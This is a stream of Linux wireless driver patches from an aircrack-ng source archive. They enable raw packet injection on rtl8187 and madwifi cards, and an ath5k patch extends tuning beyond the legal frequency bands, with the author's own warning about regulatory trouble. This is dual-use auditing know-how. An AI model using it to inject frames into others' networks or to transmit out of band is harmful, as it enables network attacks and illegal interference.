ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile --- rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile 2008-01-30 17:38:11.000000000 +0100 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers --- rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod 2008-02-15 00:49:47.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_rx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_tx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_wx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_module.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac_wx.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.o diff -Naur rtl8187_linux_26.1010.0622.2006/makedrv~ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ --- rtl8187_linux_26.1010.0622.2006/makedrv~ 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,13 +0,0 @@ -#!/bin/sh - -#tar -zxvf stack.tar.gz -#tar -zxvf drv.tar.gz -cd ieee80211 -make clean -make -cd ../beta-8187 -make clean -make -cd .. - - diff -Naur rtl8187_linux_26.1010.0622.2006/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/Makefile --- rtl8187_linux_26.1010.0622.2006/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/Makefile 2008-01-30 17:39:29.000000000 +0100 @@ -0,0 +1,38 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ --- rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ 2006-06-06 10:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,129 +0,0 @@ -Release Date: 2006-01-13, ver 1.1 -RTL8187 Linux driver version 1.1 - - --This driver supports RealTek RTL8187 Wireless LAN driver for - Fedora Core 2/3/4/5, Debian 3.1, Mandrake 10.2/Mandriva 2006, - SUSE 9.3/10.1/10.2, Gentoo 3.1, etc. - - Support Client mode for either infrastructure or adhoc mode - - Support WEP and WPAPSK connection - -< Component > -The driver is composed of several parts: - 1. Module source code - stack.tar.gz - drv.tar.gz - - 2. Script ot build the modules - makedrv - - 3. Script to load/unload modules - wlan0up - wlan0down - - 4. Script and configuration for DHCP - wlan0dhcp - ifcfg-wlan0 - 4. Supplicant source code: - wpa_supplicant-0.4.9.tar.gz - - 5. Example of supplicant configuration file: - wpa1.conf - -< Installation > -Runing the scripts can finish all operations of building up modules -from the source code and start the nic. - 1. Build up the drivers from the source code - ./makedrv - - 2. load the driver module to kernel and start up nic - ./wlan0up - -< Set wireless lan MIBs > -This driver uses Wireless Extension as an interface allowing you to set -Wireless LAN specific parameters. - -Current driver supports "iwlist" to show the device status of nic - iwlist wlan0 [parameters] -where - parameter explaination [parameters] - ----------------------- ------------- - Show available chan and freq freq / channel - Show and Scan BSS and IBSS scan[ning] - Show supported bit-rate rate / bit[rate] - Show Power Management mode power - -For example: - iwlist wlan0 channel - iwlist wlan0 scan - iwlist wlan0 rate - iwlist wlan0 power - -Driver also supports "iwconfig", manipulate driver private ioctls, to set -MIBs. - - iwconfig wlan0 [parameters] [val] -where - parameter explaination [parameters] [val] constraints - ----------------------- ------------- ------------------ - Connect to AP by address ap [mac_addr] - Set the essid, join (I)BSS essid [essid] - Set operation mode mode {Managed|Ad-hoc} - Set keys and security mode key/enc[ryption] {N|open|restricted|off} - -For example: - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - iwconfig wlan0 essid "ap_name" - iwconfig wlan0 mode Ad-hoc - iwconfig wlan0 mode essid "name" mode Ad-hoc - iwconfig wlan0 key 0123456789 [2] open - iwconfig wlan0 key off - iwconfig wlan0 key restricted [3] 0123456789 - -< Getting IP address > -After start up the nic, the network needs to obtain an IP address before -transmit/receive data. -This can be done by setting the static IP via "ifconfig wlan0 IP_ADDRESS" -command, or using DHCP. - -If using DHCP, setting steps is as below: - (1)connect to an AP via "iwconfig" settings - iwconfig wlan0 essid [name] or - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - - (2)run the script which run the dhclient - ./wlan0dhcp - -< WPAPSK > -WPA_SUPPLICANT help the network to communicate under the protection of WPAPSK -mechanism - - (1)Unpack source code of WPA supplicant: - tar -zxvf wpa_supplicant-0.4.9.tar.gz - cd wpa_supplicant-0.4.9 - - (2)Create .config file: - cp defconfig .config - - (3)Edit .config file, uncomment the following line: - #CONFIG_DRIVER_IPW=y. - - (4)Build WPA supplicant: - make - - (5)Edit wpa_supplicant.conf to set up SSID and its passphrase. - For example, the following setting in "wpa1.conf" means SSID - to join is "BufAG54_Ch6" and its passphrase is "87654321". - network={ - ssid="BufAG54_Ch6" - proto=WPA - key_mgmt=WPA-PSK - pairwise=CCMP TKIP - group=CCMP TKIP WEP104 WEP40 - psk="87654321" - priority=2 - } - - (6)Execute WPA supplicant (Assume 8187 and related modules had been - loaded): - ./wpa_supplicant -D ipw -c wpa1.conf -i wlan0 & - diff -Naur rtl8187_linux_26.1010.0622.2006/symvers rtl8187_linux_26.1010.0622.2006_rawtx/symvers --- rtl8187_linux_26.1010.0622.2006/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/symvers 2008-01-30 17:38:11.000000000 +0100 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_linux_26.1010.0622.2006/wlan0rmv rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv --- rtl8187_linux_26.1010.0622.2006/wlan0rmv 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv 2008-01-30 17:38:11.000000000 +0100 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r1486.patch0000644000000000000000000000167110761053203021263 0ustar rootrootdiff -ur madwifi-ng-r1486/ath/if_ath.c patched_madwifi-ng-r1486/ath/if_ath.c --- madwifi-ng-r1486/ath/if_ath.c 2006-03-23 22:09:04.000000000 +0100 +++ patched_madwifi-ng-r1486/ath/if_ath.c 2006-03-28 20:59:14.000000000 +0200 @@ -2240,6 +2240,7 @@ struct ath_softc *sc = dev->priv; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); + struct ieee80211com *ic = &sc->sc_ic; const HAL_RATE_TABLE *rt; int pktlen; int hdrlen; @@ -2254,7 +2255,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-beta3/patches/old/sqlite-3.6.11-lib_cygwin.diff0000644000000000000000000000152411171142361022436 0ustar rootroot--- Makefile.ori 2009-02-19 22:17:24.015625000 +0100 +++ Makefile 2009-02-19 22:17:55.484375000 +0100 @@ -765,16 +765,12 @@ $(TEMP_STORE) -o $@ $(TESTFIXTURE_SRC) $(LIBTCL) -install: sqlite3$(BEXE) libsqlite3.la sqlite3.h sqlite3.pc ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) - $(INSTALL) -d $(DESTDIR)$(bindir) - $(LTINSTALL) sqlite3$(BEXE) $(DESTDIR)$(bindir) $(INSTALL) -d $(DESTDIR)$(includedir) $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(includedir) $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(includedir) - $(INSTALL) -d $(DESTDIR)$(pkgconfigdir) - $(INSTALL) -m 0644 sqlite3.pc $(DESTDIR)$(pkgconfigdir) pkgIndex.tcl: echo 'package ifneeded sqlite3 $(RELEASE) [list load $(TCLLIBDIR)/libtclsqlite3.so sqlite3]' > $@ aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r2277.patch0000644000000000000000000000200111134713404021247 0ustar rootrootdiff -ur madwifi-ng/ath/if_ath.c madwifi-ng-patched/ath/if_ath.c --- madwifi-ng/ath/if_ath.c 2007-04-14 15:42:02.000000000 +0200 +++ madwifi-ng-patched/ath/if_ath.c 2007-04-14 15:43:18.000000000 +0200 @@ -2285,6 +2285,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2298,7 +2299,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; Only in madwifi-ng-patched/ath: if_ath.c~ aircrack-ng-1.2-beta3/patches/old/ath5k-frequency-chaos-2.6.27-gentoo-r2.patch0000644000000000000000000001555611143173567025153 0ustar rootrootThis patch allows for highly extended frequency settings for Atheros wifi cards. I have tested and confirmed the frequencies as best as I can. Monitoring should be safe, but transmitting will most likely lead to the fcc paying you a vist. I have done all I can to stop you from accidently getting in trouble, the rest is up to you. -ZC ----------------------------------------------------------------------------------- diff -Naur linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/ath5k.h linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/ath5k.h --- linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/ath5k.h 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/ath5k.h 2008-11-12 23:19:12.000000000 -0500 @@ -23,7 +23,7 @@ * long and results timeouts). It's also illegal to tune to some of the * supported frequencies in some countries, so use this at your own risk, * you've been warned. */ -#define CHAN_DEBUG 0 +#define CHAN_DEBUG 1 #include #include diff -Naur linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/base.c linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/base.c --- linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/base.c 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/base.c 2008-11-12 23:19:12.000000000 -0500 @@ -217,7 +217,7 @@ static void ath5k_detach(struct pci_dev *pdev, struct ieee80211_hw *hw); /* Channel/mode setup */ -static inline short ath5k_ieee2mhz(short chan); +static inline short ath5k_ieee2mhz(int chan, unsigned int chfreq); static unsigned int ath5k_copy_rates(struct ieee80211_rate *rates, const struct ath5k_rate_table *rt, unsigned int max); @@ -804,12 +804,15 @@ * Convert IEEE channel number to MHz frequency. */ static inline short -ath5k_ieee2mhz(short chan) +ath5k_ieee2mhz(int chan, unsigned int chfreq) { - if (chan <= 14 || chan >= 27) - return ieee80211chan2mhz(chan); + if (chfreq == CHANNEL_5GHZ) + return (chan + 1000) * 5; else - return 2212 + chan * 20; + if (chan <= 14 || chan >= 27) + return ieee80211chan2mhz(chan); + else + return 2212 + chan * 20; } static unsigned int @@ -839,7 +842,8 @@ unsigned int mode, unsigned int max) { - unsigned int i, count, size, chfreq, freq, ch; + unsigned int i, count, size, chfreq, freq; + int ch; if (!test_bit(mode, ah->ah_modes)) return 0; @@ -847,14 +851,17 @@ switch (mode) { case AR5K_MODE_11A: case AR5K_MODE_11A_TURBO: - /* 1..220, but 2GHz frequencies are filtered by check_channel */ - size = 220 ; + /* -16..220 */ + size = 241 ; + ch = -40; chfreq = CHANNEL_5GHZ; break; case AR5K_MODE_11B: case AR5K_MODE_11G: case AR5K_MODE_11G_TURBO: - size = 26; + /* -19..26 */ + size = 70; + ch = -42; chfreq = CHANNEL_2GHZ; break; default: @@ -862,9 +869,8 @@ return 0; } - for (i = 0, count = 0; i < size && max > 0; i++) { - ch = i + 1 ; - freq = ath5k_ieee2mhz(ch); + for (i = 0, count = 0; i < size && max > 0; i++,ch++) { + freq = ath5k_ieee2mhz(ch,chfreq); /* Check if channel is supported by the chipset */ if (!ath5k_channel_ok(ah, freq, chfreq)) diff -Naur linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/base.h linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/base.h --- linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/base.h 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/base.h 2008-11-12 23:27:26.000000000 -0500 @@ -51,8 +51,8 @@ #include "debug.h" #define ATH_RXBUF 40 /* number of RX buffers */ -#define ATH_TXBUF 200 /* number of TX buffers */ -#define ATH_BCBUF 1 /* number of beacon buffers */ +#define ATH_TXBUF 0 /* number of TX buffers */ +#define ATH_BCBUF 0 /* number of beacon buffers */ struct ath5k_buf { struct list_head list; diff -Naur linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/hw.c linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/hw.c --- linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/hw.c 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/hw.c 2008-11-12 23:21:29.000000000 -0500 @@ -2319,8 +2319,9 @@ */ if (AR5K_EEPROM_HDR_11A(ee_header)) { - ah->ah_capabilities.cap_range.range_5ghz_min = 5005; /* 4920 */ - ah->ah_capabilities.cap_range.range_5ghz_max = 6100; + ah->ah_capabilities.cap_range.range_5ghz_min = 4800; /* 4920 */ + ah->ah_capabilities.cap_range.range_5ghz_max = 6000; /* 6100 is what the code said but */ + /* it fried one of my cards */ /* Set supported modes */ __set_bit(AR5K_MODE_11A, @@ -2336,8 +2337,8 @@ * connected */ if (AR5K_EEPROM_HDR_11B(ee_header) || AR5K_EEPROM_HDR_11G(ee_header)) { - ah->ah_capabilities.cap_range.range_2ghz_min = 2412; /* 2312 */ - ah->ah_capabilities.cap_range.range_2ghz_max = 2732; + ah->ah_capabilities.cap_range.range_2ghz_min = 2192; /* 2312 */ + ah->ah_capabilities.cap_range.range_2ghz_max = 2737; /* 2732 */ if (AR5K_EEPROM_HDR_11B(ee_header)) __set_bit(AR5K_MODE_11B, @@ -2379,24 +2380,6 @@ ATH5K_TRACE(ah->ah_sc); switch (ah->ah_op_mode) { - case IEEE80211_IF_TYPE_IBSS: - pcu_reg |= AR5K_STA_ID1_ADHOC | AR5K_STA_ID1_DESC_ANTENNA | - (ah->ah_version == AR5K_AR5210 ? - AR5K_STA_ID1_NO_PSPOLL : 0); - beacon_reg |= AR5K_BCR_ADHOC; - break; - - case IEEE80211_IF_TYPE_AP: - pcu_reg |= AR5K_STA_ID1_AP | AR5K_STA_ID1_RTS_DEF_ANTENNA | - (ah->ah_version == AR5K_AR5210 ? - AR5K_STA_ID1_NO_PSPOLL : 0); - beacon_reg |= AR5K_BCR_AP; - break; - - case IEEE80211_IF_TYPE_STA: - pcu_reg |= AR5K_STA_ID1_DEFAULT_ANTENNA | - (ah->ah_version == AR5K_AR5210 ? - AR5K_STA_ID1_PWR_SV : 0); case IEEE80211_IF_TYPE_MNTR: pcu_reg |= AR5K_STA_ID1_DEFAULT_ANTENNA | (ah->ah_version == AR5K_AR5210 ? diff -Naur 